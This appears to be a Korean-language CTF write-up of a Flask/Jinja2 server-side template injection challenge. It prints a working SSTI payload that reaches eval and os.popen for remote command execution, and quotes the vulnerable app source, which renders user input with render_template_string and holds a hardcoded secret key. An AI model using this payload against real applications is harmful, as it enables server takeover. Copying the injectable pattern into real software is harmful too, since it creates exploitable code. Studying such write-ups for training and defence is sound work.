White Security
repeaaaaaat 문제풀이 본문

Encrypt CTF web 4번
Flask SSTI 문제입니다.

사이트에 접속하면 푸른 아이콘들이 보이는데
스크롤을 내리려고 하면 이미지가 계속적으로 증가하기에
하단 내용을 확인할 수 없도록 되어 있습니다.

소스를 확인하면 스크롤시 이미지 증식 기능을 구현하는
자바스크립트 코드와 하단에 base64로 인코딩된 주석문이 보입니다.
d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ== Lz9zZWNyZXQ9ZmxhZw==
what_are_you_searching_for /lol_no_one_will_see_whats_here /?secret=flag
주석은 새로고침을 할 때마다 랜덤으로 바뀌는데
디코딩 해보면 페이지의 파라미터 힌트가 주어집니다.

http://104.154.106.182:5050/?secret=posix.tistory.com
입력된 값이 특별한 필터링 절차없이
그대로 페이지에 추가되는 것을 보고
바로 SSTI 기법을 떠올릴 수 있었습니다.

104.154.106.182:5050/?secret={{7*7}}
추측대로 Jinja 기반의 SSTI가 가능하다는 것을 확인할 수 있었는데

서버 엔진은 응답헤더에서 확인할 수 있는 정보입니다.
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{b['eval']("__import__('os').popen(__import__('base64').urlsafe_b64decode('bHM=').decode()).read()")}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

위 페이로드를 URI 인코딩하여 삽입하는 것으로
RCE 가 가능했습니다.
bHM= 은 ls 를 base64 인코딩한 문자열 입니다.

cat flag.txt 명령어를 사용해 주면 플래그를 확인할 수 있습니다.
아래는 동일 취약점을 통해 얻어낸 페이지 소스로
참고를 위해 올립니다.
from flask import Flask, render_template, request, render_template_string
import random
app = Flask(__name__)
app.secret_key = "cf49d97a5680998cbddbee283eeb03adbeda772b"
@app.route("/lol_no_one_will_see_whats_here")
def troll1():
return render_template("troll1.html")
@app.route("/what_are_you_searching_for")
def troll2():
return render_template("troll2.html")
@app.route("/", methods=["GET"])
def inject():
hints = ["Lz9zZWNyZXQ9ZmxhZw==", "L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==",
"d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK"];
hint = hints[random.randint(0, len(hints)-1)]
secret = request.args.get("secret", default="")
template = """
repeaaaaaat
SCRIPT
function repeat() {
for(var i=0; i<10; i++) {
lol = document.createElement("img")
lol.src = "/static/lol.png"
var shit = document.getElementById(shit')
shit.appendChild(lol)
}
}
Hello, %s """ % (secret, hint) return render_template_string(template) if __name__ == "__main__": app.run(debug=True)'CTF Writups' 카테고리의 다른 글
| ByteBandits CTF - EasyPHP 문제풀이 (0) | 2019.04.14 |
|---|---|
| Marcodowno 문제풀이 (0) | 2019.04.06 |
| Sweet 문제풀이 (0) | 2019.04.03 |
| Portfolio 문제풀이 (0) | 2019.04.01 |
| Wrestler Name Generator 문제풀이 (0) | 2019.03.31 |
Comments